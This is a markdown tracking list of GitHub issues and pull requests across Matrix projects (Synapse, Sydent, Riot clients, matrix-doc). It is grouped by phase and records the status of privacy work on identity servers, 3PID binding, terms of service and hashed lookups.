* [5974 Add m.id_access_token to /versions unstable_features (MSC2264)](https://github.com/matrix-org/synapse/pull/5974) (done)
|
||||
* [5976 Use the v2 Identity Service API for lookups (MSC2134 + MSC2140)](https://github.com/matrix-org/synapse/pull/5976) (done)
|
||||
* [5979 v2 3PID Invites (part of MSC2140)](https://github.com/matrix-org/synapse/pull/5979) (done)
|
||||
* [5980 Add POST /_matrix/client/r0/account/3pid/unbind (MSC2140)](https://github.com/matrix-org/synapse/pull/5980) (done)
|
||||
* [5987 Allow Synapse to send registration emails + choose Synapse or an external server to handle 3pid validation](https://github.com/matrix-org/synapse/pull/5987) (done)
|
||||
* [5996 Allow users to rebind 3pids they own (MSC2229)](https://github.com/matrix-org/synapse/pull/5996) (done)
|
||||
* [6000 Use the federation blacklist for requests to untrusted Identity Servers](https://github.com/matrix-org/synapse/pull/6000) (done)
|
||||
* [6011 Use account_threepid_delegate for 3pid validation](https://github.com/matrix-org/synapse/pull/6011) (done)
|
||||
* [6013 Fix existing v2 identity server calls (MSC2140)](https://github.com/matrix-org/synapse/pull/6013) (done)
|
||||
* [6042 Allow HS to send emails when adding an email to the HS](https://github.com/matrix-org/synapse/pull/6042) (done)
|
||||
* [6043 Implement MSC2290](https://github.com/matrix-org/synapse/pull/6043) (done)
|
||||
* [6044 Add an unstable feature flag for separate add/bind 3pid APIs](https://github.com/matrix-org/synapse/pull/6044) (done)
|
||||
* [6062 Use unstable prefix for 3PID unbind API](https://github.com/matrix-org/synapse/pull/6062) (done)
|
||||
* [6067 Drop support for bind param on POST /account/3pid (MSC2290)](https://github.com/matrix-org/synapse/pull/6067) (done)
|
||||
* [6076 Synapse doesn't give clients a submit_url on requestToken breaking msisdn adding](https://github.com/matrix-org/synapse/issues/6076) (done)
|
||||
* [6078 Add POST submit_token endpoint for MSISDN](https://github.com/matrix-org/synapse/pull/6078) (done)
|
||||
* [6079 Add submit_url response parameter to msisdn /requestToken](https://github.com/matrix-org/synapse/pull/6079) (done)
|
||||
* [6087 Remove hardcoded defaults of matrix.org and vector.im in configuration](https://github.com/matrix-org/synapse/issues/6087) (done)
|
||||
* [6090 Explicitly log when a homeserver does not have a trusted key server configured](https://github.com/matrix-org/synapse/pull/6090)(done)
|
||||
* [6096 Riot Web expects the email validation next_link to have the sid appended](https://github.com/matrix-org/synapse/issues/6096) (done)
|
||||
* [6100 Remove email from registration flows if it’s unsupported](https://github.com/matrix-org/synapse/issues/6100) (done)
|
||||
* [6103 _check_threepid in auth.py incorrect for MSISDN](https://github.com/matrix-org/synapse/issues/6103) (done)
|
||||
* [6045 Support Client-Server API r0.6.0](https://github.com/matrix-org/synapse/issues/6045) (in progress)
|
||||
* [1263 When we redact events, any mxc content they refer to should be redacted too (SYN-216)](https://github.com/matrix-org/synapse/issues/1263)
|
||||
* [4565 Metadata resistance.](https://github.com/matrix-org/synapse/issues/4565)
|
||||
* [6086 Fetch signing-keys directly from servers before falling back to the trusted_key_servers](https://github.com/matrix-org/synapse/issues/6086)
|
||||
* phase:2
|
||||
* vector-im/riot-web
|
||||
* [4913 Option for homeservers to set a default integration manager](https://github.com/vector-im/riot-web/issues/4913) (done)
|
||||
* [10161 Store Integration Manager preferences in account data and allow user to change them somewhere sensible](https://github.com/vector-im/riot-web/issues/10161) (done)
|
||||
* [10967 Disconnect from identity server fails](https://github.com/vector-im/riot-web/issues/10967) (done)
|
||||
* [10443 Remove v1 IS API fallbacks once servers are updated](https://github.com/vector-im/riot-web/issues/10443)
|
||||
* [10557 Prompt users each time before sending data to an Identity Server that doesn't have a terms of service (unless you have actively set that IS in your account data).](https://github.com/vector-im/riot-web/issues/10557)
|
||||
* [10696 Allow users to disconnect from an integration manager entirely in the same way that we support doing this for identity servers](https://github.com/vector-im/riot-web/issues/10696)
|
||||
* [10909 Unable to disconnect from IS if the server is unavailable](https://github.com/vector-im/riot-web/issues/10909)
|
||||
* [10936 Refine submit_url handling to only activate with separate add and bind](https://github.com/vector-im/riot-web/issues/10936)
|
||||
* vector-im/riot-ios
|
||||
* [2711 Provide a better UX for users considering sharing their contact list with an IS to discover people they know already using Matrix](https://github.com/vector-im/riot-ios/issues/2711)
|
||||
* vector-im/riot-android
|
||||
* [3282 Checking email invite account is unclear when no IS set](https://github.com/vector-im/riot-android/issues/3282)
|
||||
* [3323 Post MSC2290 bug / Clicking on the validation mail link fails registration](https://github.com/vector-im/riot-android/issues/3323)
|
||||
* matrix-org/matrix-doc
|
||||
* [1957 MSC1957: Integration manager discovery](https://github.com/matrix-org/matrix-doc/pull/1957) (done)
|
||||
* matrix-org/sydent
|
||||
* [196 Remove the lookup_hash field from local_threepid_associations](https://github.com/matrix-org/sydent/issues/196) (in progress)
|
||||
* matrix-org/synapse
|
||||
* [5881 Remove trust_identity_server_for_password_resets and account_threepid_delegate options](https://github.com/matrix-org/synapse/issues/5881)
|
||||
* phase:3
|
||||
* vector-im/riot-web
|
||||
* [10563 Add better domain for turn.matrix.org use as STUN server](https://github.com/vector-im/riot-web/issues/10563) (done)
|
||||
* [10087 Prompt to accept integration manager policies on registration](https://github.com/vector-im/riot-web/issues/10087)
|
||||
* [10167 Present an aggregated terms of service dialogue at registration if possible](https://github.com/vector-im/riot-web/issues/10167)
|
||||
* [10168 If a user has disabled the identity server integration on their account, we should make invite user handle this nicely](https://github.com/vector-im/riot-web/issues/10168)
|
||||
* [10401 Invite new users to publish their threepids to the identity server](https://github.com/vector-im/riot-web/issues/10401)
|
||||
* [10422 Use more contextual prompt for integration manager polices on use](https://github.com/vector-im/riot-web/issues/10422)
|
||||
* [10453 Log out from IM on Riot log out and IM removal](https://github.com/vector-im/riot-web/issues/10453)
|
||||
* [10455 Log out from IS on Riot log out and IS removal](https://github.com/vector-im/riot-web/issues/10455)
|
||||
* [10487 Store the date of users having read and accepted the IM policies in the IM db](https://github.com/vector-im/riot-web/issues/10487)
|
||||
* [10488 Store the date of users having read and accepted the IS policies in the IS db](https://github.com/vector-im/riot-web/issues/10488)
|
||||
* [10498 Terms test scalar requires the legacy ?v query param on the new account route](https://github.com/vector-im/riot-web/issues/10498)
|
||||
* [10575 We should show the 'must configure TURN' warning when a call fails, even after using the fallback turn.matrix.org](https://github.com/vector-im/riot-web/issues/10575)
|
||||
* [10615 Change all IS access token APIs to use getIdentityAccessToken only](https://github.com/vector-im/riot-web/issues/10615)
|
||||
* [10671 riot submits sign-ed25519 requests as POST requests with params in query string and empty body](https://github.com/vector-im/riot-web/issues/10671)
|
||||
* [10746 /invite doesn't force terms with older homeservers](https://github.com/vector-im/riot-web/issues/10746)
|
||||
* [10830 Show IS policy links in user settings somewhere.](https://github.com/vector-im/riot-web/issues/10830)
|
||||
* [10950 Unhelpful 400 error when adding MSISDN and server doesn’t delegate](https://github.com/vector-im/riot-web/issues/10950)
|
||||
* vector-im/riot-ios
|
||||
* [2710 Show IS policy links in user settings somewhere.](https://github.com/vector-im/riot-ios/issues/2710)
|
||||
* matrix-org/matrix-doc
|
||||
* [447 We need a way to be able to expire data from a HS. (SPEC-141)](https://github.com/matrix-org/matrix-doc/issues/447)
|
||||
* matrix-org/synapse
|
||||
* [5830 `pushers` table contains user device names, which may include user real names](https://github.com/matrix-org/synapse/issues/5830)
|
||||
|
||||
* phase:1
|
||||
* vector-im/riot-web
|
||||
* [5846 Riot duplicates calls to Scalar](https://github.com/vector-im/riot-web/issues/5846) (done)
|
||||
* [5921 Ability to disable all identity server functionality via the config file](https://github.com/vector-im/riot-web/issues/5921) (done)
|
||||
* [6802 riot shouldn't try to load integrations from an integration manager unless the user has accepted that manager's privacy policies](https://github.com/vector-im/riot-web/issues/6802) (done)
|
||||
* [10088 Prompt to accept integration manager polices on use](https://github.com/vector-im/riot-web/issues/10088) (done)
|
||||
* [10090 Make sure there are no ugly edge cases running Riot without an integrations manager](https://github.com/vector-im/riot-web/issues/10090) (done)
|
||||
* [10091 Decouple setting an email for password reset from publishing your threepid to the identity server and support choice of identity server (on registration)](https://github.com/vector-im/riot-web/issues/10091) (done)
|
||||
* [10092 Prompt to accept Identity Server policies on registration](https://github.com/vector-im/riot-web/issues/10092) (done)
|
||||
* [10093 Prompt to accept identity server policies before inviting them to a room](https://github.com/vector-im/riot-web/issues/10093) (done)
|
||||
* [10094 Store identity server in Account Data and support choosing identity server integration in User Settings](https://github.com/vector-im/riot-web/issues/10094) (done)
|
||||
* [10159 Enable toggling a threepid's association with the current IS in User Settings](https://github.com/vector-im/riot-web/issues/10159) (done)
|
||||
* [10173 VoIP: Stop falling back to Google for STUN](https://github.com/vector-im/riot-web/issues/10173) (done)
|
||||
* [10216 We should make it clear in the UI that device names are publicly readable](https://github.com/vector-im/riot-web/issues/10216) (done)
|
||||
* [10386 Terms modal prompt should appear without a flash of the integration manager portal first](https://github.com/vector-im/riot-web/issues/10386) (done)
|
||||
* [10408 Identity server v2 API authentication](https://github.com/vector-im/riot-web/issues/10408) (done)
|
||||
* [10423 Deploy a develop environment for t's and c's flows for IM and IS](https://github.com/vector-im/riot-web/issues/10423) (done)
|
||||
* [10424 Remove the bind true flag from 3PID calls on registration](https://github.com/vector-im/riot-web/issues/10424) (done)
|
||||
* [10425 Ability to disconnect from the identity server by pressing buttons in user settings.](https://github.com/vector-im/riot-web/issues/10425) (done)
|
||||
* [10452 Test IS v2 access tokens for validity](https://github.com/vector-im/riot-web/issues/10452) (done)
|
||||
* [10497 Integration manager terms hides terms that need signing](https://github.com/vector-im/riot-web/issues/10497) (done)
|
||||
* [10510 Remove the bind true flag from 3PID adds in settings](https://github.com/vector-im/riot-web/issues/10510) (done)
|
||||
* [10519 Update discovery and account 3PID sections when either changes](https://github.com/vector-im/riot-web/issues/10519) (done)
|
||||
* [10522 Handle terms agreement in the Discovery section of settings](https://github.com/vector-im/riot-web/issues/10522) (done)
|
||||
* [10525 IS interactions proxied through the HS also need terms agreement](https://github.com/vector-im/riot-web/issues/10525) (done)
|
||||
* [10528 don't try & show threepids in discovery section if we don't have an ID server](https://github.com/vector-im/riot-web/issues/10528) (done)
|
||||
* [10539 Inline terms agreement on change IS and IM](https://github.com/vector-im/riot-web/issues/10539) (done)
|
||||
* [10540 When using Riot without an IS, identity requests are sent to server hosting Riot](https://github.com/vector-im/riot-web/issues/10540) (done)
|
||||
* [10546 Prompt for fallback VOIP should only happen when the user tries to make a call](https://github.com/vector-im/riot-web/issues/10546) (done)
|
||||
* [10550 warn when disconnecting ID server if there are any current bindings](https://github.com/vector-im/riot-web/issues/10550) (done)
|
||||
* [10552 Allow email registration, password reset & adding 3pids when no IS](https://github.com/vector-im/riot-web/issues/10552) (done)
|
||||
* [10553 Remove the ability to set an IS at login/registration](https://github.com/vector-im/riot-web/issues/10553) (done)
|
||||
* [10556 Use the hashed v2 lookup API for 3PIDs](https://github.com/vector-im/riot-web/issues/10556) (done)
|
||||
* [10561 Scalar should serve a .well-known file](https://github.com/vector-im/riot-web/issues/10561) (done)
|
||||
* [10566 Use nicer APIs for toggling a 3PID's shared status](https://github.com/vector-im/riot-web/issues/10566) (done)
|
||||
* [10571 Allow email registration when no IS](https://github.com/vector-im/riot-web/issues/10571) (done)
|
||||
* [10572 Allow password reset when no IS](https://github.com/vector-im/riot-web/issues/10572) (done)
|
||||
* [10573 Allow adding 3pids when no IS](https://github.com/vector-im/riot-web/issues/10573) (done)
|
||||
* [10574 Placeholder issue for MSCs that should land prior to the privacy release](https://github.com/vector-im/riot-web/issues/10574) (done)
|
||||
* [10593 Placeholder issue for privacy migration path](https://github.com/vector-im/riot-web/issues/10593) (done)
|
||||
* [10597 Ensure IS in account data is read / written as specced](https://github.com/vector-im/riot-web/issues/10597) (done)
|
||||
* [10599 Send IS for adding MSISDNs only when required by HS](https://github.com/vector-im/riot-web/issues/10599) (done)
|
||||
* [10603 Getting a terms prompt when inviting an email address clears the address picker](https://github.com/vector-im/riot-web/issues/10603) (done)
|
||||
* [10619 Handle the case of no IS in features that require IS to lookup](https://github.com/vector-im/riot-web/issues/10619) (done)
|
||||
* [10620 Change auth flows so that you default to no IS](https://github.com/vector-im/riot-web/issues/10620) (done)
|
||||
* [10634 Changing to vector.im IS in Settings fails because /terms 404s](https://github.com/vector-im/riot-web/issues/10634) (done)
|
||||
* [10635 Inline terms agreement in Discovery should still show change and do not use](https://github.com/vector-im/riot-web/issues/10635) (done)
|
||||
* [10636 The UX is a little confusing if you haven't accepted the terms of the default identity server.](https://github.com/vector-im/riot-web/issues/10636) (done)
|
||||
* [10637 Unable to add email address to HS account without IS set](https://github.com/vector-im/riot-web/issues/10637) (done)
|
||||
* [10660 Sydent implementation: Unauthed v1, clone all endpoints, auth v2](https://github.com/vector-im/riot-web/issues/10660) (done)
|
||||
* [10666 In login/register, riot freezes if you go to Advanced, remove the IS url and click next](https://github.com/vector-im/riot-web/issues/10666) (done)
|
||||
* [10669 Checking email invite account is unclear when no IS set](https://github.com/vector-im/riot-web/issues/10669) (done)
|
||||
* [10674 Email help text on registration should be updated without binding](https://github.com/vector-im/riot-web/issues/10674) (done)
|
||||
* [10677 Change text about other users being able to invite you by email on registration page](https://github.com/vector-im/riot-web/issues/10677) (done)
|
||||
* [10744 Only set terms URLs in the account when they change](https://github.com/vector-im/riot-web/issues/10744) (done)
|
||||
* [10749 Changing from one IS to another does not trigger bound 3PID warning](https://github.com/vector-im/riot-web/issues/10749) (done)
|
||||
* [10750 Bound 3PIDs warning should better explain what's being left behind](https://github.com/vector-im/riot-web/issues/10750) (done)
|
||||
* [10754 Lowercase emails during IS lookup calls](https://github.com/vector-im/riot-web/issues/10754) (done)
|
||||
* [10755 Terms account data is meant to be additive, but currently sets only new URLs](https://github.com/vector-im/riot-web/issues/10755) (done)
|
||||
* [10756 After changing IS to termstest.matrix.org the text field isn't cleared and the button remains active](https://github.com/vector-im/riot-web/issues/10756) (done)
|
||||
* [10757 After changing IS back to vector.im the text field isn't cleared and the button remains active](https://github.com/vector-im/riot-web/issues/10757) (done)
|
||||
* [10758 Revoke may be too vague for unbinding a 3PID](https://github.com/vector-im/riot-web/issues/10758) (done)
|
||||
* [10779 When publishing a threepid to an IS, if you click 'continue' before clicking the link in your email, we delete your threepid from the HS.](https://github.com/vector-im/riot-web/issues/10779) (done)
|
||||
* [10800 Community invite should not talk about ISes at all.](https://github.com/vector-im/riot-web/issues/10800) (done)
|
||||
* [10823 IS with unagreed terms will block you from adding even unshared 3PIDs to your HS](https://github.com/vector-im/riot-web/issues/10823) (done)
|
||||
* [10839 Use the new backend APIs for adding-3pid-to-homeserver and binding-3pid-on-identity-server when they exist.](https://github.com/vector-im/riot-web/issues/10839) (done)
|
||||
* [10878 UX regression when trying to invite by email if no IS is configured](https://github.com/vector-im/riot-web/issues/10878) (done)
|
||||
* [10883 Riot should check for r0.6.0 server support alongside feature flags](https://github.com/vector-im/riot-web/issues/10883) (done)
|
||||
* [10923 Send validation tokens to submit_url from HS](https://github.com/vector-im/riot-web/issues/10923) (done)
|
||||
* [10933 Do not include ID server or access token when HS supports MSC2290](https://github.com/vector-im/riot-web/issues/10933) (done)
|
||||
* [10939 Registration with MSISDN needs to use submit_url](https://github.com/vector-im/riot-web/issues/10939) (done)
|
||||
* [10941 threepid_creds for registration and password reset still include id_server](https://github.com/vector-im/riot-web/issues/10941) (done)
|
||||
* [10959 Remove id_server from email threepid_creds](https://github.com/vector-im/riot-web/issues/10959) (done)
|
||||
* [10604 QA: Re-test ALL of the identity server interactions](https://github.com/vector-im/riot-web/issues/10604) (in progress)
|
||||
* [10958 Terms of Service nitpicks](https://github.com/vector-im/riot-web/issues/10958) (in progress)
|
||||
* [10704 We treat an empty string identity server as not having one](https://github.com/vector-im/riot-web/issues/10704)
|
||||
* vector-im/riot-ios
|
||||
* [2518 Make sure there are no ugly edge cases running Riot without an integrations manager](https://github.com/vector-im/riot-ios/issues/2518) (done)
|
||||
* [2521 Privacy: Improve wording on contact upload UI](https://github.com/vector-im/riot-ios/issues/2521) (done)
|
||||
* [2532 VoIP: Stop falling back to Google for STUN](https://github.com/vector-im/riot-ios/issues/2532) (done)
|
||||
* [2600 Prompt to accept integration manager polices on use](https://github.com/vector-im/riot-ios/issues/2600) (done)
|
||||
* [2601 Decouple setting an email for password reset from publishing your threepid to the identity server and support choice of identity server (on registration)](https://github.com/vector-im/riot-ios/issues/2601) (done)
|
||||
* [2602 Prompt to accept identity server policies before inviting them to a room](https://github.com/vector-im/riot-ios/issues/2602) (done)
|
||||
* [2603 Identity server v2 API authentication](https://github.com/vector-im/riot-ios/issues/2603) (done)
|
||||
* [2606 Settings: Add a Discovery section](https://github.com/vector-im/riot-ios/issues/2606) (done)
|
||||
* [2608 Registration: Update consents flow](https://github.com/vector-im/riot-ios/issues/2608) (done)
|
||||
* [2643 Ability to disable all identity server functionality via the config file](https://github.com/vector-im/riot-ios/issues/2643) (done)
|
||||
* [2646 VoIP: Fallback to matrix.org STUN server with a confirmation dialog](https://github.com/vector-im/riot-ios/issues/2646) (done)
|
||||
* [2647 MXRestClient: Move IS API to its own](https://github.com/vector-im/riot-ios/issues/2647) (done)
|
||||
* [2648 Remove the bind true flag from 3PID calls on registration](https://github.com/vector-im/riot-ios/issues/2648) (done)
|
||||
* [2650 Remove the bind true flag from 3PID adds in settings](https://github.com/vector-im/riot-ios/issues/2650) (done)
|
||||
* [2651 Store identity server in Account Data and support choosing identity server integration in User Settings](https://github.com/vector-im/riot-ios/issues/2651) (done)
|
||||
* [2652 Use the hashed v2 lookup API for 3PIDs](https://github.com/vector-im/riot-ios/issues/2652) (done)
|
||||
* [2653 Allow email registration, password reset & adding 3pids when no IS](https://github.com/vector-im/riot-ios/issues/2653) (done)
|
||||
* [2654 Use nicer APIs for toggling a 3PID's shared status](https://github.com/vector-im/riot-ios/issues/2654) (done)
|
||||
* [2657 Allow email registration when no IS](https://github.com/vector-im/riot-ios/issues/2657) (done)
|
||||
* [2658 Allow password reset when no IS](https://github.com/vector-im/riot-ios/issues/2658) (done)
|
||||
* [2659 Allow adding 3pids when no IS](https://github.com/vector-im/riot-ios/issues/2659) (done)
|
||||
* [2660 Handle terms agreement in the Discovery section of settings](https://github.com/vector-im/riot-ios/issues/2660) (done)
|
||||
* [2661 Remove the ability to set an IS at login/registration](https://github.com/vector-im/riot-ios/issues/2661) (done)
|
||||
* [2662 We should make it clear in the UI that device names are publicly readable](https://github.com/vector-im/riot-ios/issues/2662) (done)
|
||||
* [2664 Placeholder issue for privacy migration path](https://github.com/vector-im/riot-ios/issues/2664) (done)
|
||||
* [2665 Ensure IS in account data is read / written as specced](https://github.com/vector-im/riot-ios/issues/2665) (done)
|
||||
* [2672 Handle the case of no IS in features that require IS to lookup](https://github.com/vector-im/riot-ios/issues/2672) (done)
|
||||
* [2675 Email help text on registration should be updated without binding](https://github.com/vector-im/riot-ios/issues/2675) (done)
|
||||
* [2682 Send IS for adding MSISDNs only when required by HS](https://github.com/vector-im/riot-ios/issues/2682) (done)
|
||||
* [2686 Use wellknown to discover the IS of a custom HS](https://github.com/vector-im/riot-ios/issues/2686) (done)
|
||||
* [2696 Lowercase emails during IS lookup calls](https://github.com/vector-im/riot-ios/issues/2696) (done)
|
||||
* [2704 Use `id_access_token` in CS API when required](https://github.com/vector-im/riot-ios/issues/2704) (done)
|
||||
* [2604 Settings: Ability to change the identity server](https://github.com/vector-im/riot-ios/issues/2604) (in progress)
|
||||
* [2649 Ability to disconnect from the identity server by pressing buttons in user settings](https://github.com/vector-im/riot-ios/issues/2649) (in progress)
|
||||
* [2713 Use the new backend APIs for adding-3pid-to-homeserver and binding-3pid-on-identity-server when they exist.](https://github.com/vector-im/riot-ios/issues/2713) (in progress)
|
||||
* [2718 Riot should check for r0.6.0 server support alongside feature flags](https://github.com/vector-im/riot-ios/issues/2718) (in progress)
|
||||
* [2683 Checking email invite account is unclear when no IS set](https://github.com/vector-im/riot-ios/issues/2683)
|
||||
* [2731 Send validation tokens to submit_url from HS](https://github.com/vector-im/riot-ios/issues/2731)
|
||||
* [2732 Do not include ID server or access token when HS supports MSC2290](https://github.com/vector-im/riot-ios/issues/2732)
|
||||
* [2736 IS terms cannot be accepted anymore](https://github.com/vector-im/riot-ios/issues/2736)
|
||||
* vector-im/riot-android
|
||||
* [3223 VoIP: Stop falling back to Google for STUN](https://github.com/vector-im/riot-android/issues/3223) (done)
|
||||
* [3224 Make sure there are no ugly edge cases running Riot without an integrations manager](https://github.com/vector-im/riot-android/issues/3224) (done)
|
||||
* [3225 Prompt to accept integration manager polices on use](https://github.com/vector-im/riot-android/issues/3225)(done)
|
||||
* [3226 Decouple setting an email for password reset from publishing your threepid to the identity server and support choice of identity server (on registration)](https://github.com/vector-im/riot-android/issues/3226) (done)
|
||||
* [3227 Prompt to accept identity server policies before inviting them to a room](https://github.com/vector-im/riot-android/issues/3227) (done)
|
||||
* [3228 Identity server v2 API authentication](https://github.com/vector-im/riot-android/issues/3228) (done)
|
||||
* [3229 Settings: Ability to change the identity server](https://github.com/vector-im/riot-android/issues/3229) (done)
|
||||
* [3230 Settings: Add a Discovery section](https://github.com/vector-im/riot-android/issues/3230) (done)
|
||||
* [3231 Registration: Update consents flow](https://github.com/vector-im/riot-android/issues/3231) (done)
|
||||
* [3252 Remove the bind true flag from 3PID calls on registration](https://github.com/vector-im/riot-android/issues/3252) (done)
|
||||
* [3253 Ability to disconnect from the identity server by pressing buttons in user settings](https://github.com/vector-im/riot-android/issues/3253) (done)
|
||||
* [3254 Remove the bind true flag from 3PID adds in settings](https://github.com/vector-im/riot-android/issues/3254) (done)
|
||||
* [3256 Store identity server in Account Data and support choosing identity server integration in User Settings](https://github.com/vector-im/riot-android/issues/3256) (done)
|
||||
* [3257 Use the hashed v2 lookup API for 3PIDs](https://github.com/vector-im/riot-android/issues/3257) (done)
|
||||
* [3258 Allow email registration, password reset & adding 3pids when no IS](https://github.com/vector-im/riot-android/issues/3258) (done)
|
||||
* [3260 Allow email registration when no IS](https://github.com/vector-im/riot-android/issues/3260) (done)
|
||||
* [3261 Allow password reset when no IS](https://github.com/vector-im/riot-android/issues/3261) (done)
|
||||
* [3262 Allow adding 3pids when no IS](https://github.com/vector-im/riot-android/issues/3262) (done)
|
||||
* [3263 Handle terms agreement in the Discovery section of settings](https://github.com/vector-im/riot-android/issues/3263) (done)
|
||||
* [3264 Remove the ability to set an IS at login/registration](https://github.com/vector-im/riot-android/issues/3264) (done)
|
||||
* [3265 We should make it clear in the UI that device names are publicly readable](https://github.com/vector-im/riot-android/issues/3265) (done)
|
||||
* [3268 Placeholder issue for privacy migration path](https://github.com/vector-im/riot-android/issues/3268) (done)
|
||||
* [3269 Ensure IS in account data is read / written as specced](https://github.com/vector-im/riot-android/issues/3269) (done)
|
||||
* [3277 Handle the case of no IS in features that require IS to lookup](https://github.com/vector-im/riot-android/issues/3277) (done)
|
||||
* [3278 Email help text on registration should be updated without binding](https://github.com/vector-im/riot-android/issues/3278) (done)
|
||||
* [3281 Send IS for adding MSISDNs only when required by HS](https://github.com/vector-im/riot-android/issues/3281) (done)
|
||||
* [3283 Use wellknown to discover the IS of a custom HS](https://github.com/vector-im/riot-android/issues/3283) (done)
|
||||
* [3289 Lowercase emails during IS lookup calls](https://github.com/vector-im/riot-android/issues/3289) (done)
|
||||
* [3295 Use `id_access_token` in CS API when required](https://github.com/vector-im/riot-android/issues/3295) (done)
|
||||
* [3300 Use the new backend APIs for adding-3pid-to-homeserver and binding-3pid-on-identity-server when they exist.](https://github.com/vector-im/riot-android/issues/3300)(done)
|
||||
* [3312 Riot should check for r0.6.0 server support alongside feature flags](https://github.com/vector-im/riot-android/issues/3312) (done)
|
||||
* [3316 Implement MSC2290](https://github.com/vector-im/riot-android/issues/3316) (done)
|
||||
* [3324 id_server param sent when registering an email on server that does not requires one](https://github.com/vector-im/riot-android/issues/3324) (done)
|
||||
* [3326 Discovery Settings / infinite loading if terms not signed on existing IS](https://github.com/vector-im/riot-android/issues/3326) (done)
|
||||
* [3327 vector.im is seen as having no terms, but it does](https://github.com/vector-im/riot-android/issues/3327) (done)
|
||||
* [3251 VoIP: Fallback to matrix.org STUN server with a confirmation dialog](https://github.com/vector-im/riot-android/issues/3251) (in progress)
|
||||
* [3248 Ability to disable all identity server functionality via the config file](https://github.com/vector-im/riot-android/issues/3248)
|
||||
* [3318 Send validation tokens to submit_url from HS](https://github.com/vector-im/riot-android/issues/3318)
|
||||
* [3322 Do not include ID server or access token when HS supports MSC2290](https://github.com/vector-im/riot-android/issues/3322)
|
||||
* vector-im/riotX-android
|
||||
* [490 Allow email registration, password reset & adding 3pids when no IS](https://github.com/vector-im/riotX-android/issues/490) (done)
|
||||
* [432 Prompt to accept integration manager polices on use](https://github.com/vector-im/riotX-android/issues/432) (in progress)
|
||||
* [431 Make sure there are no ugly edge cases running Riot without an integrations manager](https://github.com/vector-im/riotX-android/issues/431)
|
||||
* [433 Decouple setting an email for password reset from publishing your threepid to the identity server and support choice of identity server (on registration)](https://github.com/vector-im/riotX-android/issues/433)
|
||||
* [434 Prompt to accept identity server policies before inviting them to a room](https://github.com/vector-im/riotX-android/issues/434)
|
||||
* [435 Identity server v2 API authentication](https://github.com/vector-im/riotX-android/issues/435)
|
||||
* [436 Settings: Ability to change the identity server](https://github.com/vector-im/riotX-android/issues/436)
|
||||
* [438 Settings: Add a Discovery section](https://github.com/vector-im/riotX-android/issues/438)
|
||||
* [439 Registration: Update consents flow](https://github.com/vector-im/riotX-android/issues/439)
|
||||
* [489 Use the hashed v2 lookup API for 3PIDs](https://github.com/vector-im/riotX-android/issues/489)
|
||||
* matrix-org/matrix-doc
|
||||
* [1961 MSC1961: Integration manager authentication APIs](https://github.com/matrix-org/matrix-doc/pull/1961) (done)
|
||||
* [2078 MSC2078: Sending Third-Party Request Tokens via the Homeserver](https://github.com/matrix-org/matrix-doc/pull/2078) (done)
|
||||
* [2130 Identity service should do lookups based on hashed 3PIDs, not plaintext ones.](https://github.com/matrix-org/matrix-doc/issues/2130) (done)
|
||||
* [2134 MSC2134: Identity Hash Lookups](https://github.com/matrix-org/matrix-doc/pull/2134) (done)
|
||||
* [2139 Method for ISes and Integration managers to provide terms of service](https://github.com/matrix-org/matrix-doc/issues/2139) (done)
|
||||
* [2140 MSC2140: Terms of Service for ISes and IMs](https://github.com/matrix-org/matrix-doc/pull/2140) (done)
|
||||
* [2229 MSC2229: Allowing 3PID Owners to Rebind](https://github.com/matrix-org/matrix-doc/pull/2229) (done)
|
||||
* [2230 MSC2230: Store Identity Server in Account Data](https://github.com/matrix-org/matrix-doc/pull/2230) (done)
|
||||
* [2263 MSC2263: Give homeservers the ability to handle their own 3PID registrations/password resets](https://github.com/matrix-org/matrix-doc/pull/2263) (done)
|
||||
* [2264 MSC2264: Add an unstable feature flag to MSC2140 for clients to detect support](https://github.com/matrix-org/matrix-doc/pull/2264) (done)
|
||||
* [2290 MSC2290: Separate Endpoints for Threepid Binding](https://github.com/matrix-org/matrix-doc/pull/2290) (in progress)
|
||||
* matrix-org/sydent
|
||||
* [178 Support for MSC2140](https://github.com/matrix-org/sydent/issues/178) (done)
|
||||
* [179 Support testing with matrix-is-tester](https://github.com/matrix-org/sydent/pull/179) (done)
|
||||
* [180 Support for MSC2140](https://github.com/matrix-org/sydent/pull/180) (done)
|
||||
* [181 Deny bindings to anything other than the mxid you're authed as](https://github.com/matrix-org/sydent/pull/181) (done)
|
||||
* [184 Hash 3PID lookups](https://github.com/matrix-org/sydent/pull/184) (done)
|
||||
* [186 Don't fail the unbind request if the binding doesn't exist](https://github.com/matrix-org/sydent/pull/186) (done)
|
||||
* [187 Add more tweaks to terms branch](https://github.com/matrix-org/sydent/pull/187) (done)
|
||||
* [189 Redact looked-up threepids from the application logs.](https://github.com/matrix-org/sydent/issues/189) (done)
|
||||
* [191 Add OpenID auth to 3PID hash lookup](https://github.com/matrix-org/sydent/issues/191) (done)
|
||||
* [197 Have 'mappings' contain medium as well as address](https://github.com/matrix-org/sydent/pull/197) (done)
|
||||
* [198 Throw exception on bad args & catch in wrapper](https://github.com/matrix-org/sydent/pull/198) (done)
|
||||
* [199 Return algorithm, lookup_pepper in M_INVALID_PEPPER response](https://github.com/matrix-org/sydent/pull/199) (done)
|
||||
* [200 Support MSC2140 register/terms endpoints](https://github.com/matrix-org/sydent/pull/200) (done)
|
||||
* [201 Port v1 endpoints to v2](https://github.com/matrix-org/sydent/pull/201) (done)
|
||||
* [202 Deny bindings to anything other than the mxid you're authed as](https://github.com/matrix-org/sydent/pull/202) (done)
|
||||
* [204 Fix the signing servlet](https://github.com/matrix-org/sydent/pull/204) (done)
|
||||
* [205 Correct API v1 path check in get_args](https://github.com/matrix-org/sydent/pull/205) (done)
|
||||
* [206 Fix terms POST](https://github.com/matrix-org/sydent/pull/206) (done)
|
||||
* [207 Deploy policy file](https://github.com/matrix-org/sydent/issues/207) (done)
|
||||
* [208 Remove PII logging from log-level INFO](https://github.com/matrix-org/sydent/pull/208) (done)
|
||||
* [213 Delete threepid assocs on unbind and remove existing with migration](https://github.com/matrix-org/sydent/pull/213) (done)
|
||||
* [217 Allow non-matrix.org MXIDs via v2 only once terms are enabled](https://github.com/matrix-org/sydent/issues/217) (done)
|
||||
* [218 Unbind fails to remove the binding on matrix.org IS](https://github.com/matrix-org/sydent/issues/218) (done)
|
||||
* [220 Unbind fails to work for bindings where it was attempted with #213](https://github.com/matrix-org/sydent/issues/220) (done)
|
||||
* [192 Sydent doesn't delete 3PIDs from DB on unbind](https://github.com/matrix-org/sydent/issues/192) (in progress)
|
||||
* matrix-org/synapse
|
||||
* [1287 We need to actually censor redactions from the DB (SYN-284)](https://github.com/matrix-org/synapse/issues/1287) (done)
|
||||
